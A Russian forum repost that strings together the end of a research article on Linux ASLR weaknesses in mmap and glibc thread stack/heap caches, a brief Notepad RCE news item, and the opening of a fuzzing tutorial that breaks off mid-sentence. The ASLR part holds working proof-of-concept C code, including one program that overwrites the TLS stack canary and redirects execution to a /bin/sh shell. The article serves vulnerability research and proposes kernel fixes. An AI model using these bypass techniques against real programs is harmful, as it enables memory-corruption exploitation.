для кучи. Кеш для стека работает следующим образом: по завершении потока
память стека не будет освобождена, а будет помещена в соответствующий кеш. При
создании стека потока glibc сначала проверяет кеш и, если в нем есть регион
необходимой длины, использует этот регион. В этом случае обращения к mmap не
последует и новый поток будет использовать ранее используемый регион, имеющий
те же самые адреса. Если злоумышленнику удалось получить адрес стека потока и
он может контролировать создание и удаление потоков программой, то он может
использовать полученное знание адреса для эксплуатации соответствующей
уязвимости. Кроме того, если приложение содержит неинициализированные
переменные, их значения также могут быть подконтрольны злоумышленнику, что в
некоторых случаях может приводить к эксплуатации.
Кеш для кучи потока работает следующим образом: после завершения потока созданная для него куча отправляется в соответствующий кеш. При следующем создании кучи для нового потока сначала проверяется кеш, и, если в нем есть регион, он будет использован. Тогда также справедливо все сказанное для стека.
Примеры
Возможно, mmap используется и в других случаях. А значит, обнаруженная
проблема приводит к целому классу потенциально уязвимых приложений.
Можно выделить несколько примеров, наглядно показывающих найденные проблемы.
Стеки двух потоков
В данном примере создадим два потока с помощью pthread_create и посчитаем
разницу между локальными переменными обоих потоков. Исходный код:
C:Copy to clipboard
int * p_a = 0;
int * p_b = 0;
void *first(void *x)
{
int a = (int)x;
p_a = &a;
sleep(1);
return 0;
}
void *second(void *x)
{
int b = (int)x;
p_b = &b;
sleep(1);
return 0;
}
int main()
{
pthread_t one, two;
pthread_create(&one, NULL, &first, 0);
pthread_create(&two, NULL, &second, 0);
void *val;
pthread_join(one,&val);
pthread_join(two, &val);
printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b);
printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b);
return 0;
}
Вывод после первого запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44
Вывод после второго запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44
Как видно, при разных адресах переменных разность между ними остается неизменной. В примере она обозначена словом Diff, сами же значения адресов приводятся ниже. Данный пример демонстрирует возможность воздействия уязвимого кода из стека одного потока на другой поток или на любой соседний регион памяти — независимо от работы ASLR.
Стек потока и большой буфер, выделенный с помощью malloc
Теперь в главном потоке приложения выделим большой объем памяти через malloc и
запустим новый поток. Посчитаем разницу между адресом, полученным malloc, и
переменной в стеке созданного нового потока. Исходный код:
C:Copy to clipboard
void *ptr;
void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
int pid = getpid();
printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a);
return 0;
}
int main()
{
pthread_t one;
ptr = malloc(128 * 4096 * 4096 - 64);
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
Вывод после первого запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24
Вывод после второго запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24
Опять же, разность неизменна. Данный пример демонстрирует возможность воздействия уязвимого кода при обработке буфера с большим размером байтов, выделенного через malloc, на стек созданного потока — вне зависимости от работы ASLR.
Mmap и стек потока
Выделим память с помощью mmap и запустим новый поток через pthread_create.
Посчитаем разницу между адресом, выделенным через mmap, и адресом переменной в
стеке созданного потока. Исходный код:
C:Copy to clipboard
void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a);
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
Вывод после первого запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f35b0e3d000, 0x7f35b963cf34
Вывод после второго запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f5a1083f000, 0x7f5a1903ef34
Разность неизменна. Данный пример демонстрирует возможность воздействия уязвимого кода при обработке буфера, выделенного через mmap, на стек созданного потока — вне зависимости от работы ASLR.
Mmap и TLS главного потока
Выделим память с помощью mmap и получим адрес TLS главного потока. Посчитаем
разницу между этими адресами. Удостоверимся, что значение «канарейки» в стеке
главного потока совпадает со значением из TLS. Исходный код:
C:Copy to clipboard
int main(int argc, char **argv, char **envp)
{
int res;
char buffer[256];
sprintf(buffer, "%.255s",argv[0]);
unsigned long * frame = __builtin_frame_address(0);
unsigned long * tls;
res = arch_prctl(ARCH_GET_FS, &tls);
unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
printf("TLS %p , FRAME %p\n", tls, frame);
printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]);
printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr);
unsigned long diff = tls - addr;
tcbhead_t *head = (tcbhead_t*)&addr[diff];
printf("cookie from addr: 0x%lx\n", head->stack_guard);
printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]);
return 0;
}
Вывод после первого запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f520540c700 , FRAME 0x7ffed15ba130
stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00
from mmap to TLS: 0x85c8700
cookie from addr: 0x94905ec857965c00
cookie == stack_cookie? true
Вывод после второго запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0
stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300
from mmap to TLS: 0x85c8700
cookie from addr: 0x51327792302d5300
cookie == stack_cookie? true
Как видно, разность не меняется от запуска к запуску, а значения «канарейки» совпали. Это означает, что при наличии соответствующей уязвимости можно изменить «канарейку» и обойти эту защиту. Например — при наличии уязвимости переполнения буфера в стеке и уязвимости, позволяющей писать память по смещению от выделенного с помощью mmap региона. В рассмотренном примере смещение будет равно 0x85c8700. Этот пример демонстрирует метод обхода ASLR и «канарейку».
Mmap и glibc
О похожем примере уже говорилось в разделе 4.2, но вот еще пример: выделим
память через mmap и получим разницу между этим адресом и функциями system и
execv из библиотеки glibc — исходный код:
C:Copy to clipboard
int main(int argc, char **argv, char **envp)
{
int res;
system(""); // call to make lazy linking
execv("", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system");
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv");
printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv);
printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr);
return 0;
}
Вывод после первого запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860
Вывод после второго запуска:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./mmap_libc
addr 7f534809c000 system 7f53500e1390 execv 7f5350168860
system - addr 8045390 execv - addr 80cc860
Как видно, разница между выделенным регионом и функциями неизменна. Данный пример демонстрирует метод обхода ASLR, если уязвимый код работает с буфером, выделенным через mmap. Постоянными будут расстояния в байтах не только до функций библиотек, но и для данных, что также может быть использовано при эксплуатации приложения.
Переполнение буфера на стеке дочернего потока
Создадим новый поток и переполним буфер на стеке до TLS-значения. Если
аргументов в командной строке нет, не будем переписывать «канарейку» в TLS, в
противном же случае перепишем ее. Эта логика с аргументами была выбрана,
просто чтобы можно было показывать разницу в поведении программы.
Переписывать будем байтом 0x41. Исходный код:
C:Copy to clipboard
void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, 0);
}
int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf("stack_cookie addr %p \n", &frame[-1]);
printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0x41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}
int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0x30;
printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}
В данном примере защите удалось обнаружить переполнение на стеке и завершить приложение с ошибкой до перехвата управления злоумышленником. А теперь перезапишем эталонное значение «канарейки»:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls
main FS 0x7fa0e8615700
cookie main: 0xb5b15744571fd00
thread FS 0x7fa0e7e2f700
cookie thread: 0xb5b15744571fd00
stack_cookie addr 0x7fa0e7e2ef48
diff : 7b8
*** stack smashing detected ***: ./thread_stack_tls terminated
Aborted (core dumped)
Во втором случае мы успешно переписали «канарейку» и выполнилась функция pwn_payload , с запуском интерпретатора sh.
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0x7f4d94b75700
cookie main: 0x2ad951d602d94100
thread FS 0x7f4d94385700
cookie thread: 0x2ad951d602d94100
stack_cookie addr 0x7f4d94384f48
diff : 7b8
$ ^D
blackzert@crasher:~/aslur/tests$
Данный пример демонстрирует метод обхода защиты от переполнения на стеке. Для успешной эксплуатации злоумышленнику необходимо иметь возможность перезаписать достаточное число байтов, чтобы перезаписать эталонное значение «канарейки». В представленном примере злоумышленнику необходимо перезаписать как минимум 0x7b8+0x30 байт, что равно 2024 байт.
Стек потока и буфер маленького размера, выделенный с помощью malloc
Теперь создадим поток, в нем выделим память с помощью malloc и посчитаем
разность с локальной переменной в этом потоке. Исходный код:
C:Copy to clipboard
void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a);
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
Первый запуск программы:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0x7f20480008c0, 0x7f204fbb1f34
И второй запуск программы:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0x7fa3140008c0, 0x7fa31ab5af34
В этом случае разность не совпала. Причем от запуска к запуску она не совпадет. Попробуем разобраться почему.
Первое, что следует заметить: адрес указателя, полученного malloc, не соответствует адресу кучи [heap] процесса.
Glibc создает новую кучу для каждого созданного с помощью pthread_create потока. Указатель на эту кучу лежит в TLS потока, поэтому любой поток выделяет память из «своей» кучи, что дает выигрыш в производительности: не надо обеспечивать синхронизацию потоков в случае конкурентного malloc.
Но почему адрес «случаен»?
Glibc при выделении новой кучи использует mmap , причем размер зависит от конфигурации. В моем случае размер кучи равняется 64 Мбайт. Адрес начала кучи должен быть выровнен на 64 Мбайт. Поэтому сначала выделяется 128 Мбайт, в выделенном диапазоне выделяется выровненный кусок 64 Мбайт, а остатки освобождаются, и между полученным адресом кучи и ближайшим регионом, выделенным ранее с помощью mmap , образуется «дырка».
Случайность же вносит само ядро еще при выборе mmap_based : этот адрес не выровнен на 64 Мбайт, как и все выделения памяти mmap , идущие до вызова рассматриваемого malloc.
Независимо от причины требования к выровненности адреса это приводит к очень интересному эффекту — появляется возможность перебора.
Известно, что адресное пространство процесса для x86-64 определено в ядре Linux как 47bits minus one guard page, то есть с округлением 2^47 (здесь и далее для простоты мы специально опустим вычитание размера одной страницы при вычислении размеров). 64 Мбайт — это 2^26, и значащих битов остается 47 – 26 = 21. То есть может быть всего 2^21 различных куч второстепенных потоков.
При необходимости это существенно сокращает множество перебора.
Благодаря выбору mmap адреса известным образом можно утверждать, что куча первого потока, созданного через pthread_create , будет выбрана в 64 Мбайт, близких к верхнему диапазону адресов. А точнее, рядом со всеми загруженными библиотеками, загруженными файлами и подобным.
Иногда возможно вычислить общий объем памяти, выделенной до вызова заветного malloc. В нашем случае загружены только glibc, ld и создан стек для потока. Поэтому это значение мало.
В разделе 6 будет показано, как выбирается адрес mmap_base , однако сейчас немного дополнительной информации: mmap_base выбирается с энтропией от 28 до 32 бит в зависимости от настройки ядра при компиляции (по умолчанию 28 бит). И на это значение отстает некоторая верхняя граница.
Таким образом, в большой доле случаев старшие 7 бит адреса будут 0x7f и в редких случаях 0x7e. Это дает нам еще 7 бит определенности. Итого получается 2^14 возможных вариантов выбора кучи для первого потока. Чем больше потоков создано, тем больше будет уменьшаться это число для следующего выбора кучи.
Покажем это поведение следующим кодом на C:
C:Copy to clipboard
void * first(void *x)
{
int a = (int)x;
void *ptr;
ptr = malloc(8);
printf("%p\n", ptr );
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
И запустим эту программу достаточное число раз, собирая статистику адресов, кодом на Python:
Python:Copy to clipboard
import subprocess
d = {}
def dump(iteration, hysto):
print 'Iteration %d len %d'%(iteration, len(hysto))
for key in sorted(hysto):
print hex(key), hysto[key]
i = 0
while i < 1000000:
out = subprocess.check_output(['./t'])
addr = int(out, 16)
#omit page size
addr >>= 12
if addr in d:
d[addr] += 1
else:
d[addr] = 1
i += 1
dump(i,d)
Данный код достаточное число раз запускает простую программу ./t, которая создает новый поток, выделяет в ней буфер с помощью malloc и выводит адрес выделенного буфера. После того как программа отработала, адрес считывается и считается, сколько раз этот адрес встречался за время работы. В результате скрипт собирает 16 385 различных адресов, что равно 2^14 + 1. Столько попыток может сделать злоумышленник в худшем случае для того, чтобы угадать адрес кучи рассматриваемой программы.
Есть еще вариант «стек потока и большой буфер, выделенный с помощью malloc », но он мало чем отличается от описанного. Единственное отличие: в случае большого размера буфера снова вызовется mmap, и сложно сказать, куда попадет выделенный регион, — он может заполнить образовавшуюся дырку или встать перед кучей.
Кеш стека и кучи потока
В этом примере создадим поток и выделим в нем память с помощью malloc.
Запомним адреса стека потока и указателя, полученного с помощью malloc.
Инициализируем некоторую переменную в стеке значением 0xdeadbeef. Завершим
поток и создадим новый, выделим память с помощью malloc. Сравним адреса и
значения переменной, на этот раз неинициализированной. Исходный код:
C:Copy to clipboard
void * func(void *x)
{
long a[1024];
printf("addr: %p\n", &a[0]);
if (x)
printf("value %lx\n", a[0]);
else
{
a[0] = 0xdeadbeef;
printf("value %lx\n", a[0]);
}
void * addr = malloc(32);
printf("malloced %p\n", addr);
free(addr);
return 0;
}
int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}
Результат работы программы:
Code:Copy to clipboard
blackzert@crasher:~/aslur/tests$ ./pthread_cache
addr: 0x7fd035e04f40
value deadbeef
malloced 0x7fd030000cd0
addr: 0x7fd035e04f40
value deadbeef
malloced 0x7fd030000cd0
На примере видно, что адреса локальных переменных в стеке для потоков, созданных друг за другом, не отличаются. Также не отличаются и адреса переменных, выделенных для них с помощью malloc. А некоторые значения локальных переменных первого потока все еще доступны второму потоку. Злоумышленник может использовать это при эксплуатации уязвимости неинициализированных переменных (Use of Uninitialized Variable). Кеш хоть и ускоряет работу приложения, однако предоставляет возможности для эксплуатации и обхода ASLR.
Вычисление карты адресного пространства процесса
Когда создается новый процесс, ядро следует алгоритму для определения его
адресного пространства:
Когда все этапы прошли, процесс запускается, и в качестве стартового адреса будет адрес либо из ELF-файла интерпретатора (ld), либо из самого ELF-файла программы, если интерпретатор отсутствует (статически «слинкованный» ELF).
Если включен ASLR и есть возможность загрузки по произвольному адресу у файла программы, процесс будет иметь следующий вид.
Каждая библиотека, будучи загруженной интерпретатором, получит управление, если в ней определен список глобальных конструкторов. В этом случае будут вызваны функции библиотеки для выделения ресурсов (глобальные конструкторы), необходимых этой библиотеке.
Благодаря известному порядку загрузки библиотек можно получить некоторую точку в потоке выполнения программы, позволяющую построить расположение регионов памяти друг относительно друга независимо от работы ASLR. Чем больше будет известно о библиотеках, их конструкторах и поведении программы, тем дальше эта точка будет отставать от точки создания процесса.
Для определения конкретных адресов все же нужна уязвимость, позволяющая получить адрес некоторого mmap -региона либо позволяющая читать (писать) память относительно некоторого mmap -региона:
Для доказательства построения карты памяти процесса был написан код на Python, имитирующий поведение ядра при поиске новых регионов. Также был повторен способ загрузки ELF-файлов и порядок загрузки библиотек. Для имитации уязвимости, позволяющей прочитать адреса библиотек, использовалась файловая система /proc: скрипт считывает адрес ld (таким образом восстанавливает mmap_base) и повторяет карту памяти процесса, имея библиотеки. После чего сравнивает с оригиналом. Скрипт полностью повторял адресное пространство всех процессов. Код скрипта также доступен.
Векторы атак
Рассмотрим некоторые уязвимости, уже ставшие классическими из-за своей
распространенности.
1. Ошибки переполнения буфера на куче
Широко известны разные уязвимости при работе приложений с кучей glibc и также
методы их эксплуатации. Из всех методов можно выделить два типа — либо они
позволяют модифицировать память относительно адреса уязвимой кучи, либо они
позволяют модифицировать адреса памяти, известные атакующему. В некоторых
случаях есть возможность читать произвольные данные с объектов на куче. Отсюда
можно получить несколько векторов:
2. Переполнение буфера
Исправления
В данной статье описано несколько проблем, рассмотрим исправления для
некоторых из них. Начнем с самых простых и далее перейдем к более сложным.
Дырка в ld.so
Как было показано в разделе 4.4, загрузчик ELF-интерпретатора в ядре Linux
содержит ошибку и допускает освобождение части памяти библиотеки
интерпретатора. Соответствующее исправление было предложено сообществу, однако
не получило должного внимания.
Порядок загрузки сегментов ELF-файла
Как было отмечено выше, в ядре и в коде библиотеки glibc отсутствует проверка
ELF-сегментов файла — код просто доверяет тому, что они составлены в
правильном порядке. PoC данной проблемы приложен, как и
исправление.
Исправление довольно простое: мы проходим по сегментам и проверяем, что текущий не перекрывает следующий и сегменты упорядочены по возрастанию vaddr.
Учитывание mmap_min_addr при поиске адреса выделения mmap
Как только было написано исправление для mmap , позволяющее возвращать
адреса с достаточной энтропией, возникла проблема: некоторые вызовы mmap
завершались неудачно с ошибкой прав доступа. Даже от рута, даже если запрошены
из ядра при исполнении execve.
В алгоритме выбора адреса (описанного в разделе 3) был пункт «проверка адреса на ограничения, связанные с безопасностью». В текущей реализации эта проверка убеждается, что выбранный адрес больше mmap_min_addr. Это переменная системы, доступная к изменению администратором через sysctl. Администратор системы может задать любое значение, и процесс не сможет выделить страницу по адресу меньше этого значения. По умолчанию значение этого параметра 65536.
Проблема была в том, что при вызове функции выбора адреса для mmap в архитектуре x86-64 ядро Linux использовало значение допустимой нижней границы 4096, что меньше значения mmap_min_addr. И функция cap_mmap_addr запрещает операцию, если выбранный адрес лежит между 4096 и mmap_min_addr.
cap_mmap_addr вызывается неявно: эта функция зарегистрирована «хуком» для проверки безопасности. Данное архитектурное решение вызывает вопросы: сначала мы выбираем адрес, не имея возможности проверить его по каким-то внешним критериям, а потом мы проверяем его допустимость в соответствии с текущими параметрами системы. И если адрес не прошел проверку, то даже в случае, когда адрес выбирается ядром, он может быть «запрещенным» и вся операция завершится с ошибкой EPERM.
Злоумышленник может воспользоваться этим, чтобы добиться отказа от работы всей системы: если злоумышленнику удастся указать очень большое значение, в системе не сможет запуститься ни один пользовательский процесс. А если злоумышленник сможет сохранить это значение в параметрах системы, то даже перезагрузка не поможет — все создаваемые процессы будут получать EPERM и завершаться с ошибкой.
В качестве исправления на данный момент было добавлено использование значения mmap_min_addr при запросе к функции поиска адреса в качестве минимально возможного адреса. Такой же код уже используется для всех других архитектур.
Вопрос с тем, что будет, если администратор системы начнет менять это значение на работающей машине, остается открытым — все новые выделения после изменения могут завершаться с ошибкой EPERM, а ни один код программы попросту не ожидает такой ошибки и не знает, что с ней делать. В документации к mmap сказано следующее:
EPERM The operation was prevented by a file seal; see fcntl(2).
Click to expand...
То есть ядро не может вернуть EPERM на MAP_ANONYMOUS , хотя на деле это не так.
Mmap
Основная рассматриваемая проблема mmap — отсутствие энтропии при выборе
адреса. Логичное исправление, если в идеале, — выбрать память случайно. Чтобы
выбрать случайно, нужно сначала построить список всех свободных регионов,
подходящих по размеру. После нужно выбрать из полученного списка случайный
регион и адрес из этого региона, удовлетворяющий критериям поиска — длине
запрашиваемого региона и допустимым нижней и верхней границам.
Для реализации этой логики можно выделить несколько следующих подходов:
Был выбран последний подход — использовать существующую структуру организации vma без добавления избыточности и выбирать адрес по следующему алгоритму:
В качестве оптимизации в пункте 4 можно не заходить в поддеревья, размер расширения gap которых меньше необходимой длины.
Данный алгоритм выбирает адрес с достаточным значением энтропии, хотя и работает дольше текущей реализации.
Из явных недостатков можно отметить необходимость обхода всех vma , имеющих достаточную длину пустоты gap. Однако это компенсируется отсутствием накладных расходов производительности при изменении адресного пространства.
Тестирование исправлений к ASLR
После применения описанных исправлений к ядру процесс /bin/less выглядит
следующим образом:
Code:Copy to clipboard
314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p
3169afcd8000-3169afcdb000 rw-p
316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9
3204e362d000-3204e3630000 rw-p
4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p
509000396000-509000d60000 r--p /usr/lib/locale/locale-archive
56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r--p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p
56011e0d8000-56011e0f9000 rw-p [heap]
7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r--p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
На примере видно:
Данный патч был протестирован на системе Ubuntu 17.04 с запущенными браузерами Chrome и Mozilla Firefox. Никаких проблем обнаружено не было.
Заключение
В результате исследования было обнаружено много особенностей в работе ядра и
glibc при обслуживании кода программ. Была сформулирована и рассмотрена
проблема близкого расположения памяти. Были найдены следующие проблемы:
Данные проблемы помогают злоумышленнику при обходе ASLR или при обходе защиты от переполнения буфера на стеке. Для некоторых выявленных проблем были предложены исправления в виде патчей к ядру.
Для всех проблем были представлены PoC. Был предложен алгоритм выбора адреса, подразумевающий достаточный уровень энтропии. Продемонстрированный подход может быть использован для анализа ASLR в других операционных системах, например Windows или macOS.
Был рассмотрен ряд особенностей реализации GNU Libc, знание которых в ряде случаев позволяет упростить эксплуатацию приложений.
Продемонстрированный подход может быть использован для анализа поведения ASLR в других операционных системах, таких как Windows, macOS и Android.
WWW
Автор blackzert (c) xakep.ru
Специалист по кибербезопасности из Google Project Zero Тэвис Орманди заявил, что нашёл RCE-уязвимость в текстовом редакторе «Блокнот». Говорит, что создал рабочий эксплойт, который позволил ему выполнить произвольный код в системе.
![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2F30.-notepad.png&hash=c05f27d59055c370dafaf039893d2882)
Что за уязвимость?
Орманди не опубликовал деталей, сказал только, что проблема связана с работой
памяти. Он уведомил Microsoft. Подробный отчёт исследователь опубликует через
90 дней — столько времени есть у компании, чтобы выпустить патч.
__https://twitter.com/x/status/1133384839321853954
Ваши мнения?
Фаззинг все чаще применяют и программисты — для проверки своих приложений на прочность, и исследователи безопасности, и хакеры. Но пользоваться фаззерами не выйдет, если не понимаешь, что именно они делают. Зато, узнав это, ты освоишь современную технику, с помощью которой сейчас находят все новые и новые уязвимости в самых разных приложениях. В этой статье я расскажу, как работают разные виды фаззинга, и на примере WinAFL покажу, как пользоваться этим инструментом.
В общих чертах смысл фаззинга заключается в передаче в программу (я имею в виду любой исполняемый код, динамическую библиотеку или драйвер) любого нестандартного потока данных, чтобы попытаться вызвать проблемы в ходе исполнения.
Так что же мы ищем при помощи фаззинга? Это достаточно широкий спектр ошибок программного обеспечения, который включает в себя такие вещи, как переполнение буферов, некорректная обработка пользовательских данных, разнообразные утечки ресурсов (в том числе при работе с памятью), различные ошибки синхронизации, приводящие к состоянию гонки, и прочее. Каждое такое событие фиксируется фаззером и более подробно исследуется в дальнейшем.
Техники
Существуют две основные техники фаззинга — это мутационное и порождающее
тестирования. При мутационном тестировании генерация последовательностей
происходит на основе заранее определенных данных и шаблонов. Именно они
составляют стартовый корпус фаззера. Изменяя байт за байтом значения на входе
и проверяя работу программы, фаззер может делать выводы об успешности тех или
иных «мутаций», чтобы в следующем раунде сгенерировать более эффективные
последовательности.
Как видишь, сама концепция достаточно простая. Но за счет того, что количество итераций достигает сотен и тысяч миллионов (время тестирования при этом составляет несколько суток даже на мощных машинах), фаззеры находят в программах самые нетривиальные ошибки.
В свою очередь, порождающее тестирование — это более продвинутая техника фаззинга, которая предполагает построение грамматик входных данных, основанное на спецификациях. Это могут быть как файлы различных форматов, так и сетевые пакеты в протоколах обмена. В этом случае наши результаты должны соответствовать заранее определенным правилам. Порождающее тестирование сложнее мутационного в реализации, но и вероятность успеха тут выше.
Конечно, существуют и более продвинутые техники. Например, фаззинг с использованием трассировки и построением уравнений для SMT-решателей. В теории это помогает покрывать даже труднодоступные ветки кода. При этом включается трасса внутри ядра ОС, с одновременным исключением известных участков (нет никакого смысла фаззить внутренности функций WinAPI и прочего). Однако заставить все правильно работать непросто, и сегодня это скорее «черная магия», чем распространенная практика.
Вместе с тем есть и совсем простое тестирование с отправкой на вход абсолютно случайных значений, но я не рассматриваю его из-за очень низкой эффективности. По своему подходу оно больше похоже на перебор «грубой силой», так как история и успешность предыдущих попыток тут никак не учитываются.
INFO
Одним из первых прототипов фаззеров считается программа The Monkey, созданная
в далеком 1983 году. В названии очевидна отсылка к
теореме
о бесконечных обезьянах, которые пытаются напечатать «Войну и мир». Несмотря
на свою практическую бесполезность, теорема популярна в массовой культуре
(например, упоминается в романе «Автостопом по галактике» и сериале
«Симпсоны») и даже получила собственный RFC
2795.
Типы фаззеров
С техниками фаззинга более-менее разобрались, теперь перейдем к типам
фаззеров.
Форматы файлов
Будем считать входными данными пользователя любой файл любого формата, который
наше тестируемое приложение возьмется обработать. Это значит, что мы можем
подсунуть файл «неправильного» формата и посмотреть, как справится с ним
подопытная программа. Первое, что приходит в голову, — антивирус. Антивирусный
сканер должен определять формат файла, как-то с ним взаимодействовать:
пытаться распаковать, включить эвристический анализ и так далее.
Чем обернется простая проверка, если антивирусный сканер решит, что перед ним файл PE, упакованный UPX, а при распаковке выяснится, что это вовсе не UPX, а что-то, что лишь притворяется им? Естественно, алгоритм распаковки будет другой, но поведение сканера при этом предугадать сложно. Может быть, он обрушится. Может быть, просто повесит на файл флаг «поврежден» и пропустит. И это далеко не полный перечень возможных исходов. Фаззеры форматов файлов помогут протестировать подобные вещи.
Аргументы командной строки и переменные окружения
Зачастую утилитам требуются параметры командной строки: это может быть путь
файла, аргумент выполнения, да много чего еще. Но что, если передать на вход
нечто, чего программа совсем не ждет? Как самое простое, если программа просит
указать какой-то путь, то вряд ли она всерьез рассчитывает, что путь будет
состоять из тысячи символов. Вполне возможно, что передача такого аргумента
«неподготовленному» приложению переполнит стек и вызовет обрушение.
Сказанное выше в равной степени относится и к переменным окружения. По сути, это почти то же самое, что и фаззеры командной строки, только на вход берутся параметры не из аргументов, а из одной или нескольких переменных среды окружения. А дальше сценарий приблизительно такой же, как и в случае переполнения большим аргументом командной строки.
Запросы IOCTL
Достаточно полезная штука, когда нужно посмотреть, как реагируют на запросы
IOCTL различные драйверы режима ядра. Помимо устройств и периферии, драйверами
зачастую пользуются некоторые программы для взаимодействия с системой.
Конечно, структура IRP-запроса почти всегда неизвестна, но перехваченные
пакеты можно использовать в качестве основы для корпуса.
Сетевые протоколы
Такие фаззеры бывают заточены под известные протоколы, но есть и всеядные
экземпляры. Например, фаззер OWASP
JBroFuzz тестирует реализации
известных протоколов на предмет наличия таких уязвимостей, как межсайтовый
